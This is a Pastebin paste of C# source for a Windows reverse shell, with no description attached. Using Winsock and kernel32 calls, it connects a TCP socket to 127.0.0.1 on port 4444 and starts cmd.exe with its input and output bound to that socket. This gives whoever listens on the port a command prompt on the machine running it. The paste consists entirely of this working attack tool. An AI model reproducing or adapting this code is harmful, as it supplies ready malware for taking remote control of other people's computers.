Silme94

Untitled

Mar 27th, 2024
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.21 KB | None | 0 0
  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Runtime.InteropServices;
  5. using System.Text;
  6.  
  7.  
  8. internal unsafe class Program
  9. {
  10. private static void Main(string[] args)
  11. {
  12. WSAData wsa;
  13. if (WSAStartup(0x202, &wsa) != 0)
  14. {
  15. Console.WriteLine("WSAStartup failed.");
  16. return;
  17. }
  18. Console.WriteLine("WSAStartup...");
  19.  
  20. IntPtr socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, IntPtr.Zero, 0, 0);
  21. if (socket == INVALID_SOCKET)
  22. {
  23. Console.WriteLine("WSASocket failed.");
  24. return;
  25. }
  26. Console.WriteLine("WSASocket...");
  27.  
  28. sockaddr_in sockaddr = new sockaddr_in();
  29. sockaddr.sin_family = AF_INET;
  30. sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  31. sockaddr.sin_port = htons(4444);
  32.  
  33. Console.WriteLine("sockaddr_in...");
  34.  
  35. if (WSAConnect(socket, &sockaddr, Marshal.SizeOf(sockaddr), IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) == SOCKET_ERROR)
  36. {
  37. Console.WriteLine("WSAConnect failed.");
  38. WSACleanup();
  39. }
  40.  
  41. try
  42. {
  43. STARTUPINFO si = new STARTUPINFO();
  44. PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
  45. ZeroMemory((nint*)&si, Marshal.SizeOf(si));
  46.  
  47. si.cb = (uint)Marshal.SizeOf(si);
  48. si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  49. si.hStdOutput = socket;
  50. si.hStdInput = socket;
  51. si.hStdError = socket;
  52.  
  53. if (!CreateProcess(null, "C:\\Windows\\System32\\cmd.exe", IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, &si, &pi))
  54. {
  55. throw new Exception($"Failed to create process. Error code : {Marshal.GetLastWin32Error()}");
  56. }
  57.  
  58. WaitForSingleObject(pi.hProcess, INFINITE);
  59. CloseHandle(pi.hProcess);
  60. CloseHandle(pi.hThread);
  61.  
  62. }
  63. catch (Exception ex)
  64. {
  65. Console.WriteLine(ex.Message);
  66. }
  67. }
  68.  
  69. [DllImport("ws2_32.dll")]
  70. public static extern ushort htons(ushort hostshort);
  71.  
  72. [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  73. public static extern uint inet_addr(string cp);
  74.  
  75. [StructLayout(LayoutKind.Sequential)]
  76. public struct sockaddr_in
  77. {
  78. public short sin_family;
  79. public ushort sin_port;
  80. public in_addr sin_addr;
  81. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
  82. public byte[] sin_zero;
  83. }
  84.  
  85. [StructLayout(LayoutKind.Explicit)]
  86. public struct in_addr
  87. {
  88. [FieldOffset(0)]
  89. public byte s_b1;
  90. [FieldOffset(1)]
  91. public byte s_b2;
  92. [FieldOffset(2)]
  93. public byte s_b3;
  94. [FieldOffset(3)]
  95. public byte s_b4;
  96.  
  97. [FieldOffset(0)]
  98. public ushort s_w1;
  99. [FieldOffset(2)]
  100. public ushort s_w2;
  101.  
  102. [FieldOffset(0)]
  103. public uint s_addr;
  104. }
  105.  
  106. [DllImport("ws2_32.dll")]
  107. public static extern int WSAStartup(ushort wVersionRequested, WSAData* wsaData);
  108.  
  109. [DllImport("ws2_32.dll")]
  110. public static extern int WSACleanup();
  111.  
  112. [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
  113. public static extern IntPtr WSASocket(
  114. int af,
  115. int type,
  116. int protocol,
  117. IntPtr lpProtocolInfo,
  118. int g,
  119. int dwFlags
  120. );
  121.  
  122. [DllImport("ws2_32.dll")]
  123. public static extern int WSAConnect(
  124. IntPtr s,
  125. sockaddr_in* name,
  126. int namelen,
  127. IntPtr lpCallerData,
  128. IntPtr lpCalleeData,
  129. IntPtr lpSQOS,
  130. IntPtr lpGQOS
  131. );
  132.  
  133. public struct WSAData
  134. {
  135. public ushort wVersion;
  136. public ushort wHighVersion;
  137. [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
  138. public string szDescription;
  139. [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
  140. public string szSystemStatus;
  141. public ushort iMaxSockets;
  142. public ushort iMaxUdpDg;
  143. public IntPtr lpVendorInfo;
  144. }
  145.  
  146. public const int AF_INET = 2;
  147. public const int SOCK_STREAM = 1;
  148. public const int IPPROTO_TCP = 6;
  149.  
  150. public const int INVALID_SOCKET = -1;
  151. public const int SOCKET_ERROR = -1;
  152.  
  153. [DllImport("kernel32.dll", SetLastError = true)]
  154. public static extern bool CreateProcess(
  155. string lpApplicationName,
  156. string lpCommandLine,
  157. IntPtr lpProcessAttributes,
  158. IntPtr lpThreadAttributes,
  159. bool bInheritHandles,
  160. uint dwCreationFlags,
  161. IntPtr lpEnvironment,
  162. string lpCurrentDirectory,
  163. STARTUPINFO* lpStartupInfo,
  164. PROCESS_INFORMATION* lpProcessInformation
  165. );
  166.  
  167. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  168. public struct STARTUPINFO
  169. {
  170. public uint cb;
  171. public string lpReserved;
  172. public string lpDesktop;
  173. public string lpTitle;
  174. public uint dwX;
  175. public uint dwY;
  176. public uint dwXSize;
  177. public uint dwYSize;
  178. public uint dwXCountChars;
  179. public uint dwYCountChars;
  180. public uint dwFillAttribute;
  181. public uint dwFlags;
  182. public ushort wShowWindow;
  183. public ushort cbReserved2;
  184. public IntPtr lpReserved2;
  185. public IntPtr hStdInput;
  186. public IntPtr hStdOutput;
  187. public IntPtr hStdError;
  188. }
  189.  
  190. public const uint STARTF_USESTDHANDLES = 0x00000100;
  191. public const uint STARTF_USESHOWWINDOW = 0x00000001;
  192.  
  193. [StructLayout(LayoutKind.Sequential)]
  194. public struct PROCESS_INFORMATION
  195. {
  196. public IntPtr hProcess;
  197. public IntPtr hThread;
  198. public uint dwProcessId;
  199. public uint dwThreadId;
  200. }
  201.  
  202. [DllImport("kernel32.dll", SetLastError = true)]
  203. public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
  204.  
  205. public const uint INFINITE = 0xFFFFFFFF;
  206.  
  207. [DllImport("kernel32.dll")]
  208. public static extern bool CloseHandle(IntPtr hObject);
  209.  
  210. [DllImport("kernel32.dll", EntryPoint = "RtlZeroMemory", SetLastError = false)]
  211. public static extern void ZeroMemory(IntPtr* dest, IntPtr size);
  212. }
Advertisement
Add Comment
Please, Sign In to add comment